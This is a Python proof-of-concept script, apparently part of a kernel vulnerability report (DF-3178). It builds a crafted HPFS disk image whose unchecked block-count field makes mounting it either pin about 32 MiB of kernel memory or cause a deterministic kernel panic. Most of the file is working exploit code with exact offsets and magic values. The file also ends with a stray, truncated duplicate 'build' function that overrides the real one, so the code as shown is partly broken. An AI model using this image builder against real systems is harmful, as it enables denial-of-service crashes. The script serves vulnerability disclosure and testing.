#!/usr/bin/env python3
"""
DF-3178 — hpfs_mountfs() validates ONLY the super/spareblock magic numbers
(sys/vfs/hpfs/hpfs_vfsops.c:282-291).  Every other census field is consumed
downstream with no bounds check:

  su_btotal  -> hpfs_bminit (sys/vfs/hpfs/hpfs_subr.c:109-120)
                hpm_dbnum = (su_btotal + 0x3FFF) / 0x4000
                bmind-list bread of ((dbnum + 0x7F) & ~0x7F) << 2 bytes
                hpmp->hpm_bitmap = kmalloc(hpm_dbnum * BMSIZE)     # 2048 B/band
                hpmp->hpm_bmind  = kmalloc(hpm_dbnum * 4)
  su_btotal  -> hpfs_statfs f_blocks (vfsops.c:408)                # 128 GiB lie

Two regimes fall out of the single unvalidated field:

  wiring  su_btotal = 0x0FFFC000 -> dbnum = 0x4000 bands.  The bmind-list
          bread is exactly MAXBSIZE (64 KiB, passes getblk's limit), the
          mount SUCCEEDS wiring a 32 MiB hpm_bitmap + 64 KiB hpm_bmind,
          and statfs/df report 0x0FFFC000*512 = ~128 GiB of blocks on a
          1.25 MiB image.  Free per unmount, repeatable per mount.

  panic   su_btotal = 0xFFFFC000 -> dbnum = 0x3FFFF bands (largest value
          that does not wrap the u32 addition; >= 0xFFFFC001 wraps and is
          DF-0862's undersize path).  The bmind-list bread size becomes
          ((0x3FFFF+0x7F)&~0x7F)<<2 = 0x100000 (1 MiB) > MAXBSIZE
          (64 KiB) -> deterministic mount-time kernel panic:

              panic: getblk: size(1048576) > MAXBSIZE(65536)
              getblk -> breadnx -> hpfs_bminit -> hpfs_mount -> vfs_mount

          Threshold for this regime: su_btotal >= 0x10000001
          (dbnum >= 0x4001; any volume claiming more than 0x10000000
          sectors = 128 GiB on 512-byte sectors panics the mount).

Image layout (LSNs, 512 B sectors), kernel amd64 struct offsets (same
conventions as the DF-3141 pack):

  0x010  superblock   su_magic, su_rootfno=0x20, su_btotal=0xFFFFC000,
                      su_bitmap.lsn1=lsn2=0x60
  0x011  spareblock   sp_magic, sp_cpinum=0 (cpinit no-op)
  0x020  root fnode   FN_MAGIC, VDIR, one alleaf -> dirblk 0x40
  0x040  dirblk       D_MAGIC, d_parent=0x20, d_self=0x40, one DE_END
                      dirent (so dirent walks terminate; see DF-0927)
  0x060  bmind list   2048 sectors (1 MiB) of u32 0x900  (bminit breads
                      ((0x3FFFF+0x7F)&~0x7F)<<2 = 0x100000 bytes here)
  0x900  band bitmap  2 KiB of 0x00 (all-busy; every bmind[i] points here)
  total  0xA00 sectors = 1,310,720 bytes (~1.25 MiB)

usage: craft_img.py <out.img>
"""
import struct, sys

SECTOR = 512
IMGSEC = 0xA00                      # 1.25 MiB
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE

BMIND_LSN = 0x60
BITMAP_LSN = 0x900

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6


def build(outpath, variant):
    su_btotal = {'wiring': 0x0FFFC000, 'panic': 0xFFFFC000}[variant]
    img = bytearray(IMGSEC * SECTOR)

    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    # ---- superblock @0x10 ----
    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)                    # su_rootfno
    wr32(su + 16, su_btotal)               # su_btotal  <-- the lie
    wr32(su + 20, 0)                       # su_badbtotal
    wr32(su + 24, BMIND_LSN)               # su_bitmap.lsn1
    wr32(su + 28, BMIND_LSN)               # su_bitmap.lsn2

    # ---- spareblock @0x11: sp_cpinum = 0 -> cpinit no-op ----
    wr64(0x11 * SECTOR, SP_MAGIC)

    # ---- root fnode @0x20 (VDIR, one leaf -> dirblk 0x40) ----
    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)                       # VDIR
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, 0x40)
    wr32(rf + FN_OFF_SIZE, 2048)

    # ---- dirblk @0x40 ----
    # d_freeoff=64, one 32-byte dirent carrying DE_END (0x0008) so every
    # dirent walk terminates (an all-zero dirent area has de_reclen=0 and
    # no DE_END -> hpfs_lookup livelocks -- that is DF-0927's bug, not
    # ours; we do not want to trip it in this demo).
    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC)
    wr32(db + 4, 64)         # d_freeoff
    wr32(db + 8, 0)          # d_chcnt
    wr32(db + 12, 0x20)      # d_parent
    wr32(db + 16, 0x40)      # d_self
    wr16(db + 32 + 0, 32)    # de_reclen
    wr16(db + 32 + 2, 0x0008)  # de_flag = DE_END

    # ---- bmind list @0x60: 1 MiB of "band bitmap lives at 0x900" ----
    # (more than any variant's bread needs; only the first
    #  ((dbnum+0x7F)&~0x7F)<<2 bytes are read)
    off = BMIND_LSN * SECTOR
    for _ in range(0, 0x800):            # 2048 sectors = 1 MiB
        struct.pack_into('<I', img, off, BITMAP_LSN)
        off += 4

    # ---- band bitmap content @0x900: 2 KiB, all-zero (all busy) ----
    # (already zero)

    with open(outpath, 'wb') as f:
        f.write(img)
    dbnum = (su_btotal + 0x3FFF) // 0x4000
    print("wrote %s (%d bytes, %d sectors); variant=%s su_btotal=0x%X "
          "-> dbnum=0x%X bands -> bitmap=%d bytes (%.2f MiB), "
          "bmind-list bread=%d bytes"
          % (outpath, len(img), IMGSEC, variant, su_btotal, dbnum,
             dbnum * 2048, dbnum * 2048 / 1048576.0,
             ((dbnum + 0x7F) & ~0x7F) << 2))


if __name__ == '__main__':
    variant = sys.argv[2] if len(sys.argv) > 2 else 'wiring'
    build(sys.argv[1] if len(sys.argv) > 1 else 'df3178.img', variant)


def build(outpath, variant):
    global SU_BTOTAL
    SU_BTOTAL = {'wiring': 0x0FFFC000, 'panic': 0xFFFFC000}[variant]
